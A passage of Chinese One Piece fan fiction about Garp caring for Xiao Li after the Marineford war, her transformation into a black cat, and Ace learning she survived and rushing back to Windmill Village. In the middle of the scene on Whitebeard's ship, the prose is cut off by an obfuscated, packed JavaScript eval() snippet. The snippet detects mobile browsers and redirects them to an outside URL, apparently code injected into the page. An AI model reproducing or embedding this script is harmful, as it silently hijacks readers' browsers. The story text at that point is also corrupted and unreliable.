卡普最初发现她变成小猫时,确实惊讶了一瞬,但也仅仅是惊讶而已。毕竟,这片大海上无奇不有,各种奇异的恶魔果实能力、种族特性层出不穷。连路飞船上都有只会说话的麋鹿,一只会变成猫的少女……似乎也没什么不能接受的。 而且,他敏锐地察觉到,似乎正是这幅小猫的形态,更利于她的恢复。那缠绕在她体内、异常活跃的青色火焰与她自身那股奇异的能量似乎形成了一种更稳定、更微妙的平衡与循环,以极其缓慢却坚定的速度,刺激着她强悍的生命力,修复着那些几乎致命的创伤。 过程极其缓慢,但生命体征,确实在一点点、极其顽强地变得强韧起来。 卡普没有声张,没有寻求任何外界的医疗帮助,毕竟海军的医疗系统或者任何与政府相关的力量,此刻都可能带来不必要的麻烦。他只是凭借着自己多年征战积累的粗浅知识,以及战国偶尔的参谋,小心地照顾着这只昏迷的小黑猫,提供安静的环境、清洁的水、体外营养,以及最重要的——时间。 他心里的算盘打得噼啪响:现在可不能告诉艾斯那小子。那个混账小子!跟他那个混蛋老爹罗杰简直一个德行!冲动、任性、为了所谓的“义气”和“荣耀”连命都可以不要!连自己心爱的人都保护不好,差点把命搭进去不说,还连累了小狸…… 非得让他好好着急一阵子!尝尝心急如焚、悔恨交加的滋味!长长记性不可!让他知道,有些错误,一旦犯下,可能需要用一生去偿还和弥补。 不过…… 卡普的目光落到自己那双布满老茧、曾经捏碎过无数海贼骨头、如今却小心翼翼捧着茶杯的大手上,眼神深处掠过一丝复杂难言的情绪。 自己不也是么? 站在所谓“正义”的立场上,眼睁睁看着孙子被押上处刑台,听着另一个孙子在下方拼死呐喊,最终却什么也做不了,只能像个雕像一样站在那里,承受着内心的凌迟。 罢了罢了,都过去了。 “真是舒服的天气啊~” 卡普长长地伸了个懒腰,骨头发出咔吧的轻响。他眯起眼睛,感受着和煦的阳光将皮肤晒得暖洋洋的,海风带着咸味和山林的气息拂过面颊,耳边是风车转动的吱呀声和远处海浪轻柔的拍岸声。 没有喊杀,没有炮火,没有责任,没有抉择。 只有阳光,海风,老友,粗茶,以及……屋里那缕顽强跳动的生命之火。 果然,放下那身沉重的“海军英雄”盔甲,卸下保卫“正义”的千钧重担,当一个普通的、有点偏心眼的、在乡下养老的退休老头…… 这感觉…… 真不赖。 72.新生 顶上战争的余波并未波及东海这个宁静的村庄。风车村依旧沐浴在平和阳光下,村民们过着与世无争的日子,仿佛那场席卷世界的风暴只是一个遥远的传说。 对于小狸而言,苏醒的过程并非一蹴而就,意识最初回归时,只有无边无际的沉重和混沌,仿佛身体被压在了万吨海床之下,连转动一个念头都无比吃力。 最先恢复的,是模糊的听觉。远远近近,有风吹过树叶的沙沙声,有海浪规律拍岸的哗哗声,有风车转动时老旧轴承发出的、令人安心的吱呀声,还有……细碎的、属于孩童的、压低了的交谈和嬉笑。 然后,是嗅觉。空气里弥漫着一种干净而温暖的味道,混合着阳光晒过的棉布气息、淡淡的草药味 最后,才是视觉。 眼皮如同被胶水黏连,费了好大力气才颤动了几下,缓缓掀开一道缝隙。 视线变得清晰,对上了几双圆溜溜的、充满好奇的大眼睛。 几个五六岁大的孩子正围在她躺着的床边,踮着脚,扒着床沿,像观察什么稀世珍宝一样盯着她。领头的是个扎着羊角辫的小女孩,胆子最大,正伸出肉乎乎的手指,小心翼翼地、试探性地戳了戳盖在小狸身上的、洗得发白却异常柔软的棉被。 四目相对。 小女孩像是做坏事被当场抓包,“呀!”地轻叫一声,像是受惊的小兔子,手忙脚乱地把手缩了回去。但她脸上随即浮现的不是害怕,而是发现了重大秘密般的兴奋光芒。她转身,对着其他几个同样好奇的小伙伴急促地说了句什么,然后就像一阵小旋风似的,迈开两条小短腿,“哒哒哒”地冲出了屋子,清脆稚嫩的童音在宁静的空气中格外响亮: “卡普爷爷!卡普爷爷!你捡回来的那只黑色小猫咪醒啦!!她眼睛是蓝色的!好漂亮!!” 远处立刻传来卡普那标志性的、洪亮如钟却又带着点无奈和气急败坏的大嗓门,震得屋檐似乎都抖了抖: “都跟你们这些小鬼头说了多少次了!别随便闯进老夫家里!!还有!!那不是普通的猫!要叫姐姐!知道吗?!没礼貌的小混蛋们!” 孩子们才不管这些大人的“复杂”定义。在他们看来,那就是毛茸茸、会动、眼睛漂亮的小猫咪呀!他们嘻嘻哈哈地笑作一团,如同受惊的麻雀群,呼啦一下也跟着跑远了,只留下一串渐渐远去的、无忧无虑的笑闹声。对他们而言,这只是平静午后一个有趣的小插曲,看完了“稀奇的漂亮小猫”,该继续去追逐下一只蝴蝶了。 房间里重新恢复了宁静。 小狸试图从柔软的床铺上撑起身子,至少抬一抬头。然而,仅仅是这个微小的念头刚刚传递到神经末梢,一股剧痛便瞬间席卷了她全身! “唔……”一声极其细微的、带着痛楚的呜咽,不受控制地从喉咙里溢出。她立刻软倒回去,小小的身体陷在柔软的枕头和被褥里,像一团失去了所有力气的黑色毛球。急促的喘息了几下,才勉强适应了这无处不在的疼痛。 这时她才注意到自己身上连接的输液管,以及……搭在被子上的、毛茸茸的黑色爪子。 她盯着那只爪子看了好几秒,混沌的意识才开始艰难地流动、清晰起来。 我……还活着? 这个认知本身,就带着一种不真实的荒谬感。她最后的记忆,是赤犬那毁灭性的熔岩巨拳轰击在身上的灼热、剧痛,以及无边无际的黑暗。那种攻击,本应是绝无生还可能的。她很清楚自己与海军大将之间的实力鸿沟。 那么……为什么? 她闭上眼,努力感知着身体的变化,终于察觉到了那缕缠绕在心脉附近、微弱却无比坚韧的青色火焰和乳白色光晕,正极其缓慢地滋养着她破碎的身体。 是马尔科先生的能力……那份“再生之炎”?还有……自己那衍生出的神奇的力量 两种力量相互支持,创造了,一个奇迹? 没等她想明白,木屋的门被“哐当”一声,用脚踢开了。 卡普抱着一大堆东西走了进来,用后背顶上门。他怀里堆满了新鲜的蔬菜、用油纸包着的肉类、几瓶牛奶,还有一大包数不清的甜甜圈。他把这堆“战利品”有些粗暴地搁在屋子中央的木桌上,发出沉闷的响声,然后才拍了拍手上的灰,转过身,目光精准地落在了床上。 那双总是带着豪爽笑意或威严怒气的眼睛,此刻在对上小狸那双清澈的、因为虚弱和迷茫而显得格外湿润的蓝色猫瞳时,几不可查地柔和了一瞬,但很快又被惯常的粗犷所掩盖。 “哟!”他尽量让声音听起来轻松自然,仿佛只是出门遛弯回来,发现自家贪睡的小孩终于醒了,“终于舍得睁眼了?睡够没有啊,小猫崽!你这一觉,睡得可真是够本啊,战国那老家伙不在,错过了你睁眼回来又要念叨了” 他的语气带着调侃,但走近床边的脚步却放得异常轻缓,仿佛怕惊扰了什么。 小狸有太多太多问题,战争最后怎么样了?艾斯他……真的安全了吗?老爹和大家是否平安撤离?老爹的伤势如何?这里到底是哪里? 剧烈的情绪让她挣扎着想抬头,想开口询问,然后,她发出了一声: “喵——” 声音很轻,带着刚苏醒的沙哑和虚弱,软绵绵的,尾音还带着点不自觉的颤抖。在安静的房间里,却清晰无比。 ……… 空气仿佛凝固了一瞬。 小狸自己都愣住了,湛蓝色的猫瞳瞬间瞪得溜圆,里面写满了纯粹的、不敢置信的震惊!她甚至下意识地抬了抬那只搭在被子上的爪子,仿佛想确认一下刚才那声娇软的猫叫,是不是从自己喉咙里发出来的! 怎么会是猫叫?!她想说话!想问他艾斯怎么样了!想问大家是否平安!想问他这里是哪里!为什么会变成这样?! “喵——?喵呜——!!”她不死心地又尝试开口,结果出来的依旧是声调略有不同、但确凿无疑的猫叫声!甚至还因为急切而带上了点委屈的呜咽尾音! 卡普看着小猫那副难以置信、试图“说人话”却只能发出喵喵叫的可爱模样,先是愣了一秒,随即毫不给面子地爆发出震天动地的大笑声: “哈哈哈!哈哈哈哈!!!”他笑得前仰后合,眼泪都快出来了,蒲扇般的大手用力拍着自己的大腿,“从鬼门关里硬生生把你这小命抢回来,总得付出点代价嘛!那奇怪的青炎最后缩回去的时候,你就只剩巴掌那么大了,能喘气儿、能睁眼,已经是老天开恩了!说不了人话算什么?先好好把身体养回原样再说吧!” 他在床边的木椅上坐下,小心翼翼的伸出那只布满老茧和伤疤、曾捏碎过无数海贼骨头的大手,犹豫了一下,还是朝着小狸毛茸茸的小脑袋伸过去,想要像寻常长辈抚摸小辈那样,轻轻摸一摸,以示安抚。 然而,在他的手指即将触碰到那漆黑细软的绒毛时,小狸却下意识地、猛地往后缩了缩脖子,整个小身体都绷紧了。 那双蔚蓝色的猫瞳抬起,清晰地望向他。里面最初醒来时的迷茫和震惊已经褪去一些,此刻流露出的,是更为复杂的情绪——深深的哀伤、尚未完全消散的警惕、一丝隐晦的抗拒。 她无法忘记,在处刑台那刺目的光线下,他穿着笔挺的海军中将制服,肩披“正义”大衣,如同一尊铁铸的雕像,沉默地站在处刑者一侧。那一刻他带给她的震惊、不解,以及某种隐约的、被信任之人“背叛”的心痛,依然像一根细刺,扎在心底。 卡普伸出的手,就这样僵在了半空中。他脸上的笑容渐渐收敛,有些尴尬地、缓缓地收了回来,转而挠了挠自己那头已经花白、却依旧硬茬茬的短发。他沉默了几秒,那总是挺得笔直的脊背,似乎几不可查地微微佝偻了一点。 他叹了口气,声音比刚才低沉了许多,也郑重了许多,不再有丝毫玩笑的成分: “老夫……知道你现在有很多疑问,也有很多……怨气。”他的目光没有避开小狸的眼睛,坦然地迎接着那份复杂的注视,“先跟你说说你最关心的事吧。” 他顿了顿,仿佛在组织语言,每一个字都说得很慢,很清晰: “艾斯那个臭小子……命硬得很,和罗杰那个混蛋老爹不一样,没那么容易死。白胡子海贼团……也成功从马林梵多撤出来了,大部分骨干都还在。” 听到这里,小狸紧绷的身体几不可查地松弛了一毫米,那双蓝眼睛里的警惕也被更强烈的关切取代。 “但是,”卡普的语气沉重下来,“闹得太大了。白胡子本人……在那一战中动了肝火,伤势不轻。现在新世界不知道多少双眼睛在暗处盯着他们,海军残余的势力、其他蠢蠢欲动的海贼团、乃至世界政府……都等着趁他病,要他命呢。他们现在的处境,并不轻松。不过你放心,白团的那群小子们还挺能干的,听说已经基本镇压住了躁动的海域” 他停顿了一下,喉结滚动,声音里带上了一丝艰涩: “我……” 这个字说出来,似乎用了他很大的力气。 “我是个失败的爷爷。”卡普的目光垂了下去,落在自己那双布满厚茧和疤痕的大手上,“被那身穿了半辈子的军装,被那些所谓的‘绝对正义’、‘海军荣耀’……束缚住了手脚,蒙蔽了眼睛。我站在那个该死的位置上,差点……就差那么一点……就眼睁睁看着自己的孙子……” 他的声音哽住了,粗犷的脸上肌肉微微抽动,像是在强行压抑着什么翻涌的情绪。他深吸一口气,才继续道: “看到你们出现的时候,看到路飞那小子不要命地往上冲,看到白胡子为了儿子向全世界宣战……我其实……心里是希望你们能成功的。什么狗屁立场,什么海军英雄……在家人面前,算个屁!” “路飞那臭小子……揍我那拳,可是半点没留情面啊,哈哈……”他试图用笑声冲淡那份沉重,但笑声干涩,“不过,打得好。那一拳,把老夫打醒了,也打没了我最后那点继续穿着这身衣服的念想。” 他抬起头,重新看向小狸,目光坦诚: “哈哈……干不下去了,干脆辞职回来养老了,钓钓鱼,晒晒太阳,当个没人管的糟老头子。”他试图用笑声掩饰内心的复杂,却显得有些苍凉。 小狸安静地听着,蔚蓝色的猫瞳一眨不眨地看着卡普。她能感受到他话语里的真诚、悔恨、释然,以及那份放下重担后的疲惫与…一丝轻松。 其实听到艾斯和白胡子海贼团都安然无恙时,她紧绷的心弦就松了大半。她能理解卡普当时的立场和痛苦,更何况,最终是他违背了海军的职责,救下了她这个“海贼”,并且显然已经辞去了职务,在这里照顾她。 理智上,她早已原谅他了。甚至,心存感激。 但是! 小猫可是很有脾气的!而且,现在思维和身体都更偏向猫形态的她,任性一点、把心里那点残留的委屈和别扭表达出来……也是完全可以被理解的吧? 于是,卡普看到,床上那只小黑猫眼中清晰的警惕和抗拒正在慢慢消融。取而代之的,是一种更柔软的、带着点思索和评估的眼神。 然后,在他略带期待和小心翼翼的注视下,小黑猫居然主动地、慢吞吞地,朝着他这边,凑近了一点点。虽然动作因为虚弱而显得迟缓,但意图很明显。 卡普心中一喜,脸上不自觉地又露出了笑容,再次试探着伸出那根粗糙的食指,想要去碰碰她的小鼻子,或者挠挠她的下巴。 就在他再次试探着伸出手时—— 小猫突然张开嘴,啊呜一口,用还没什么力气的乳牙,狠狠咬住了他的手指!没有收一点力道,但稚嫩的牙齿连皮都没蹭破,她磨了磨牙,然后松了劲,轻轻的舔了两下。 卡普看着小猫那副明明虚弱得厉害、却还要强撑着表达“我记仇了但看在你救了我又照顾我的份上就算了不过你得记住教训”的小模样,一股难以言喻的暖流和笑意猛地冲上心头! “哈哈!哈哈哈!!好好好!咬吧咬吧!是爷爷该咬!用点劲!别客气!等你好了,想怎么咬都行!” 从这天起,风车村卡普的小木屋里,多了一只需要精心照料、脾气有点小别扭但总体还算乖巧的“黑色小猫”。卡普笨拙却耐心地学习着如何照顾伤员,定时更换输液、准备易于吸收的肉糜粥、甚至试着用梳子给小猫梳理那身渐渐恢复光泽的黑色绒毛,装作看不懂小狸想要联系艾斯急得跳脚的模样。 战国偶尔会过来,两个退休老头就坐在屋前摇椅上,喝茶,斗嘴,下棋,或者一起头疼地看着屋里那只精力稍微恢复一点就开始“拆家”的小黑猫。意识到两个老头的纵容后小猫非常自然的蹬鼻子上脸,把两个老头被折腾的够呛,战国的胡子都被她扯掉了不少,她每天站在小羊身上在屋里横冲直撞,甚至教会了一直乖巧的小羊对着战国发起冲锋 日子就在这种宁静、缓慢、偶尔鸡飞狗跳的康复日常中,一天天过去。 ………… 与此同时,远在新世界,莫比迪克号上的气氛,却与风车村的宁静截然相反。 距离顶上战争结束已经过去不短的时间,但船上笼罩的阴云非但没有散去,反而愈发浓重沉郁,仿佛连海风都吹不散那刻在每个人眉宇间的悲恸与疲惫。 马尔科最近感觉自己快要被焦虑和重担压垮了,眼眶下的青黑日益明显,连那标志性的金色朋克头都似乎黯淡了几分。他肩上的担子太重了。 老爹在那一战中,先是被史库亚多刺伤,后又为救艾斯和小狸、掩护全员撤离而全力爆发,动用了过多的力量,引发了旧疾,身体状态急转直下,需要绝对的静养和调理。虽然老爹自己总说“没事”、“死不了”,但马尔科比谁都清楚,那具曾经如同山岳般不可撼动的身躯,内部已然出现了不容忽视的裂痕。这尚在他的医术和心理承受范围之内,托小狸那奇怪能力一直为老爹温养身体的福,他倾尽所能地调配药物、用能力辅助治疗,稳定状况只是时间问题。 真正让他束手无策的,是艾斯。 自从上次强行闯回已成废墟的马林梵多,像疯了一样在那片焦土和残骸中不眠不休地搜寻了数日,最终却只带回更多绝望和一身新增的伤痕后,艾斯心中那点被“小狸可能还活着”的微小希望彻底熄灭了。他心中那簇火焰仿佛连同他的灵魂一起,在那片废墟上燃尽了最后一点余烬。 他变得如同一具被抽空了所有生气的行尸走肉。 身上的烧伤还未完全愈合,绷带之下是新旧交错的疤痕,但他毫不在意。他不吃不喝,除非马尔科或萨奇强灌进去一些流食;他不言不语,对任何人的问话和关心都毫无反应,那双总是燃烧着热情火焰的黑眸,如今只剩下死寂的空洞,仿佛失去了所有焦点,只是茫然地穿透空气,望向某个不存在的远方。 他终日蜷缩在小狸房间过或甲板的阴影里,怀里紧紧抱着小狸留在船上的一件旧衬衫,洗得发白,袖口有磨损,依稀还残留着一丝她身上特有的药草清香。他就那样下巴抵在衣服上,眼神空洞,一动不动,仿佛那就是他与那个消失的世界最后的、脆弱的联系,也是他全部的精神支柱。 马尔科试过了一切方法。他怒吼过,痛斥他的消沉是对小狸牺牲的辜负;他劝慰过,试图用老爹需要他、大家需要他这样的话来唤醒他的责任感;他甚至动过手,揪着他的领子想把他揍醒……但一切都像是石沉大海。艾斯对他的所有举动都毫无反应,那双空洞的眼睛里,连一丝涟漪都激不起来。马尔科实在无暇顾及他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952899|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干脆由他去了,总会有清醒的那天的。 失去小狸的阴霾,同样沉沉地压在每一个船员的心头。那个总是安静跟在艾斯身边、眼睛像晴空一样蓝、偶尔会露出腼腆笑容的猫耳少女;那个被老爹郑重认可、被大家悄然接纳和喜爱的新家人;那个在宴会上吃得脸颊鼓鼓、在桅杆上灵巧穿梭的身影……就这样,为了救艾斯和路飞,永远留在了马林梵多那片燃烧的焦土之下。 她的名字,成了船上不敢轻易触碰的禁忌和伤痛。提起她,就会牵动艾斯更深的死寂,也会勾起每个人心中那份沉重的惋惜和悲伤。她变成了大家珍藏心底、却不敢轻易翻看的回忆。 白胡子重伤需要静养,强敌环伺,海军残余势力和其他觊觎“四皇”地盘的海贼团如同嗅到血腥味的鲨鱼,在周围海域若隐若现,虎视眈眈,随时可能扑上来狠狠撕咬一口。船员们必须时刻保持最高警戒,轮流守夜,侦查海域,修复战舰,处理伤员……每个人都自顾不暇,身心俱疲。 马尔科已经连轴转了许久,处理老爹的伤势,安抚艾斯,安排船务,防备外敌……巨大的压力和悲恸几乎要将他压垮。他看着艾斯那副毫无生气的样子,看着老爹强撑着的疲惫,看着伙伴们眼中的阴霾,只觉得胸口像是压了一块巨石,呼吸都变得困难。 直到某天,一个寻常的午后。 一只负责送报的信鸽扑棱着翅膀从莫比迪克号的上空飞过。甲板上正在警戒的船员下意识地抬起手,一枚石子精准地击中了信鸽,它扑腾了两下,直直坠落在甲板上。这种误入海贼船领空的通信生物,通常只有成为加餐的份。 一个船员走过去,捡起那只已经昏过去的信鸽,正准备拿去厨房,却眼尖地发现它腿上绑着一个小小的、不起眼的金属信筒。他好奇地解下来,打开信筒,里面是一张被小心卷起来的纸。他展开纸张,原本漫不经心的目光,在瞥见收件人名字的瞬间,猛地凝固了! 那上面,用粗犷有力的字迹写着: 「致:波特卡斯·D·艾斯」 船员愣了一下,拿着这张纸找到艾斯。艾斯依旧维持着那个姿势,蜷缩着,抱着衬衫,眼神空洞地望着海面,对他的靠近毫无反应。 “艾斯队长……有、有你的信。”船员试探着开口,声音很轻。 艾斯连眼皮都没动一下。 船员叹了口气,正准备将信交给旁边的马尔科处理,马尔科刚好从船舱里走出来,脸色疲惫。他看到了船员手里的纸,随口问道:“什么东西?” “不知道,一只信鸽带来的,收件人是艾斯队长。”船员将纸递过去。 马尔科叹了口气,接过信,原本只是想替他处理掉,却在不经意间瞥见里面的内容后,整个人如同被雷击中般僵在原地! 他瞪大眼睛,脸上的表情从惊愕到难以置信,再到一种近乎扭曲的狂喜! 周围注意到他异样的船员们好奇地围过来,当看清马尔科颤抖着手中拿着的东西时所有人都露出了和马尔科一模见的、仿佛见了鬼似的表情——那并非信件,而是一张照片 震惊的抽气声、难以置信的惊呼声、以及最终无法抑制的、如同火山喷发般的狂笑声,瞬间在甲板上炸开! 所有人都露出了和马尔科一模一样的、仿佛大白天活见了鬼似的表情!但随即,那表情就被更加汹涌澎湃的狂喜所淹没! 马尔科猛地爆发出惊天动地的大笑声!那笑声不再是以往的慵懒或无奈,而是充满了失而复得的、几乎要冲破胸膛的喜悦,以及长久以来压抑着的沉重情绪一朝得到释放的极致畅快!他笑得弯下了腰,眼泪不受控制地从眼角飙出! 所有看清照片的船员们都跟着狂笑起来!有人笑得捶胸顿足,用力捶打着身边的桅杆或同伴的肩膀;有人笑得直接瘫坐在甲板上,捂着肚子,眼泪狂流;有人一边笑一边哽咽,表情扭曲却又灿烂无比!那不仅仅是高兴,更是长久以来积压在心底的悲痛、担忧、无力感,在这一刻找到了宣泄的出口,彻底爆发! 马尔科强忍着笑意,眼眶却红得厉害。他蹲到依旧麻木的艾斯面前,几乎是将那张照片怼到了他的眼前,声音因激动而颤抖: “喂!艾斯!你这混蛋!好好看看!看看这是什么?!” 艾斯空洞的眼神机械地聚焦在那张照片上—— 只见照片上,背景是一个温馨朴素的乡村小屋,一只再熟悉不过的、通体漆黑的猫咪,正活力十足地像个小型抱脸虫一样,整个糊在前海军元帅——战国的脸上。小猫的爪子嚣张地勾着战国那精心打理的麻花辫胡子,牙齿还不客气地啃咬着对方的头发,一副“超凶”但又生机勃勃的模样。 而照片里的战国,虽然只露出半张脸和标志性的胡子头发,但那双总是睿智沉稳的眼睛,此刻却明显透着几分生无可恋的无奈和……认命?仿佛已经对这“猫形灾难”彻底投降。 照片的底部空白处,还有一行写得歪歪扭扭、却力道十足、几乎要透纸而出的字迹,那熟悉的笔触和口吻,一看就出自某个退休的老头之手: 「臭小子艾斯: 你家的猫太能折腾了!老夫和战国的老骨头都快被它拆了!一天到晚不是抓胡子就是啃头发,鱼干要吃最贵的,牛奶要喝温的,太阳晒多了嫌热,晒少了嫌冷!简直要上天了!! 没死就赶紧给老夫滚回来!自己养这个小祖宗!!再晚几天,老夫怕是要先被它气出心脏病,或者被战国那老家伙念叨到耳朵长茧!! ——快被逼疯的、只想安静钓鱼的卡普」 每一个字都像一道惊雷,狠狠劈进艾斯死寂的心湖! 他的瞳孔剧烈收缩,呼吸骤然变得急促,他几乎是本能地、用那只没有抱着衬衫的手,一把将照片从马尔科颤抖的手中抢了过来!手指因为极致的激动而无法控制地颤抖着,近乎贪婪地去抚摸照片上那个小小的、鲜活的身影,指尖划过那黑色的绒毛轮廓,划过那亮晶晶的蓝眼睛,划过那嚣张扒拉着胡子的小爪子…… 是真的……不是幻觉……不是梦境…… 是小狸!!!她真的还活着!!! 在爷爷那里!!!在东海!!!在阳光下!!!在调皮捣蛋!!!在……等他!!! 巨大的、近乎荒谬的喜悦如同海啸般瞬间冲垮了他所有的绝望和麻木!心脏疯狂地跳动,几乎要撞破胸腔!血液奔涌着冲向四肢百骸,带来一种近乎晕眩的灼热感! 他猛地抬起头,看向周围笑中带泪的伙伴们,嘴唇哆嗦着,想说点什么,却发现自己喉咙哽住,发不出一个清晰的音节。但那双重新燃起熊熊火焰的眼睛,已经说明了一切。 “还愣着干什么!快去啊!” “混蛋艾斯!这回可要好好吃饭!别还没见到小猫就先饿死在路上了!” “把她平安地带回来啊!艾斯!” “不愧是咱们的小狸,那个可是前元帅战国哎?” 马尔科用力拍了拍他的肩膀,脸上是前所未有的轻松笑容:“去吧!老爹那里我会去说。路上很危险,谨慎,注意安全,到小狸身边去,养好伤……两个人一起回来!” 艾斯重重地、用力地、几乎是用尽了全身力气点了一下头!所有的言语都显得苍白,唯有行动! 他胡乱地将萨奇塞过来的肉干塞进嘴里,甚至尝不出任何味道,只是机械地、快速地咀嚼、吞咽,补充着体力。然后,他甚至来不及再多说一句感谢,身体已经在本能的驱使下率先行动起来! 他最后深深地看了一眼手中照片上的小小身影,前锋号化作一道橘红色的火焰流星,带着一往无前、归心似箭的决绝气势朝着东海的方向,朝着风车村,朝着那个失而复得的、珍贵的奇迹—— 疾驰而去! 73.恃宠而骄的猫 艾斯踏上风车村码头时,正值一个平静慵懒的午后。他根本无暇顾及这个自幼长大的地方有了哪些细微变化,一颗心早已飞向了村庄深处那栋熟悉的、属于卡普的小屋。归心似箭,近乎慌乱地奔跑起,脚上那双沾着新世界风尘与硝烟痕迹的靴子,踏在故乡松软湿润的土地上,发出略显急促的“沙沙”声响。 有相熟的村民看到了他,尽管他已是名震新世界的白胡子海贼团二番队队长,但在这些看着他长大的乡邻眼中,他依旧是那个会和路飞、萨博一起捣蛋的毛头小子。大家热情地招呼他,关切地询问他身上缠绕的绷带,但艾斯此刻没有时间寒暄,一边朝着那些热情的面孔匆忙地、用力地点头致意,嘴角勉强扯出一个急促却依旧明亮的笑容,喉咙里挤出短促的回应:“啊!是啊!回来了!有点急事!下次再说!抱歉!” 他的身影在小径上快速掠过,卷起地上几片落叶,只留下一个略显仓促却坚定无比的背影。 村民们互相交换着了然又带点好奇的眼神,善意的笑声和低语在午后温煦的空气里轻轻飘荡。 “这小子,跑得这么快,肯定是急着去见卡普先生吧?” “说不定是有什么要紧事呢,看他那样子。” “哎呀,年轻真好啊,浑身都是劲儿。” “听说他在外面可是不得了的大人物了呢……不过回到家,还是个冒失小子嘛。” --- 小狸的身体,在卡普和战国这两位前海军顶级大佬堪称“奢侈”的精心照料下,已经好了大半,不过,因为风车村的日子实在太过安逸舒适,加上身体确实还未恢复到全盛状态,更重要的是……当一只被宠上天的小猫,实在是太舒服了!所以大多数时候,她都“心安理得”地继续假装自己只是一只懵懂无知、只会用湛蓝大眼睛看人、饿了喵喵叫、困了打呼噜的普通小黑猫。这副柔弱无害且可爱的模样,让她从卡普、战国那里“骗取”了无数纵容和特权。 风车村的村民们,常常能在午后或傍晚,看到一幅颇为有趣的景象 一只通体漆黑、神态倨傲的小猫,像个威风凛凛的大姐头般挺胸抬头的站在一只小羊的头顶,身后则跟着一串叽叽喳喳的小萝卜头。 说来也怪,自从这只神秘又漂亮的小黑猫“收编”了这群捣蛋鬼,村里因他们而起的鸡飞狗跳事件反而少了许多。爬树掏鸟窝?小猫一个轻盈的跳跃就能上去,孩子们只有仰着脖子惊叹的份。追逐打闹弄坏东西?小猫只需用那双清澈的蓝眼睛静静地望过来,孩子们就会莫名地收敛几分。 当然,小孩子终究是吵闹、精力无限的。当小狸被他们过于热情地包围、七嘴八舌的提问和试图抚摸的手弄得有些厌烦时,她便会轻盈蹿上卡普家那栋结实木屋的屋顶。 那里是她的专属“瞭望台”兼“日光浴场”。 她会寻个瓦片被晒得暖烘烘、角度最好的位置,优雅地卧下来。扬起小巧的下巴,那双在阳光下仿佛宝石般的猫瞳,静静地、一眨不眨地眺望着远方的海平面。 海浪在视线尽头闪着细碎的银光,天空是纯净的蔚蓝,偶尔有海鸟成行飞过。 她在看海,但更像是在等待。 等待着,那个熟悉的身影,那个如同太阳般耀眼炽热、总能轻易找到她的身影,会突然冲破那海天交接的线条,出现在她的视野里,带着比阳光更灿烂的笑容,呼唤她的名字。 经过这段时间的朝夕相处,小狸早已摸清了卡普和战国这两位退休大佬的“底细”。剥去“海军英雄”和“前元帅”那唬人的外壳,这两个老头子本质上就是一对童心未泯、嘴硬心软、对她几乎毫无原则宠溺的“猫奴”罢了。 若是说给风车村之外、伟大航路上那些闻他们之名而色变的海贼或海军将领听,恐怕没人会相信 那位曾经智谋深远、统领全局、威严如山的前海军元帅战国,会为了逗一只小黑猫开心,不顾形象地趴在家里的木地板上,手里捏着一小块精心烤制的、去了刺的鱼肉干,用他那沉稳严肃的嗓音,发出近乎诱哄的、别扭的“啧啧”声,试图引诱小猫伸出粉嫩的小爪子,和他“握手”。或者因为腰疾复发疼得龇牙咧嘴,却因为小猫正舒舒服服睡在他腿上而硬撑着不敢动弹,生怕惊扰了她的好梦 至于卡普,那就更“过分”了。这位曾经一拳能轰碎山崖的“铁拳”,如今最大的“战争”常常发生在自家厨房和饭桌前。他会因为“今天小猫更爱吃谁准备的营养餐”这种“原则性问题”,和战国吹胡子瞪眼,嗓门震得屋顶灰尘簌簌往下掉,甚至上演全武行——当然,是控制力道、以争夺食盆和互相推搡为主的“老头乐”版本。小小的院落时常因为他们俩的“争斗”而鸡飞狗跳,让趴在屋顶看戏的小狸尾巴愉快地甩来甩去。 除此之外,小狸还见到了达旦——那个艾斯在闲聊时多次提起的、嘴硬心软、像山贼多过像养母的粗豪女人。 她狠狠地给了卡普一拳后坐在地上骂骂咧咧的哭了很久,那力道,结实得让卡普都闷哼了一声。 她哭得惊天动地,眼泪鼻涕糊了一脸,确实……有点“丑”。但也正是这毫无保留的悲痛和愤怒,让卡普一时竟找不到插嘴的机会 等达旦哭得差不多了,抽抽噎噎地停下来,用袖子胡乱抹着脸,听着卡普告诉她的消息才后知后觉地感到一丝尴尬。她看着卡普那张复杂的老脸,讪讪地、带着点讨好似的小声叫了好几声“卡普先生”。 出乎意料的是,达旦竟然也知道小狸的存在。她好奇打量着她的小黑猫身上,粗声粗气地问:“这猫……就是艾斯那小子在信里提过的,他捡回来的那个‘小妹妹’?” 卡普点了点头。 也许是猫的形态太过无害,又或许是小狸那双清澈的蓝眼睛实在让人讨厌不起来,达旦身上那股凶巴巴的山贼头子气势瞬间消散了大半。她凑近了些,仔细端详着小猫,脸上慢慢露出一种混合着温柔、怜惜和怀念的复杂表情。 “啧,”她撇了撇嘴,虽然依旧努力想做出凶悍的样子,但眼神已经软化了,“没想到是这么个小不点……艾斯那混小子,信里说得含糊,我还以为……” 她伸出手,手指因为常年干活而粗糙,但动作却异常轻柔地,摸了摸小狸毛茸茸的脑袋。小狸没有躲闪,甚至主动歪头,蹭了蹭她的掌心。这亲昵的举动让达旦的眼睛又有点发红。 “我一直……在看报纸。”达旦的声音低了下去,带着一种深沉的疲惫和牵挂,“看着那两个不省心的家伙,在海上又闹出了什么风波,上了多少次头条,悬赏金涨了多少……担心他们吃不吃得饱,穿不穿得暖,有没有受伤……” 她顿了顿,看着小猫,像是透过它在看另一个人:“那小子……一定跟你抱怨过我吧?说我凶巴巴的,像个母夜叉?”她自嘲地笑了笑,笑容里有些苦涩,“是啊,我只有摆出这幅凶巴巴的样子,才能镇住手底下那帮混球,才能在这个鬼地方把这个不像样的‘家’撑起来……后来,自己也就习惯了。” 她的声音有些哽咽:“我一直……很后悔。后悔当初艾斯出海的时候,没有好好跟他告别……就知道跟他吵架,让他滚蛋……我以为,海那么大,他总会回来的……没想过,那可能就是最后一面……” 她低下头,巨大的手掌捂住脸,肩膀微微抖动。 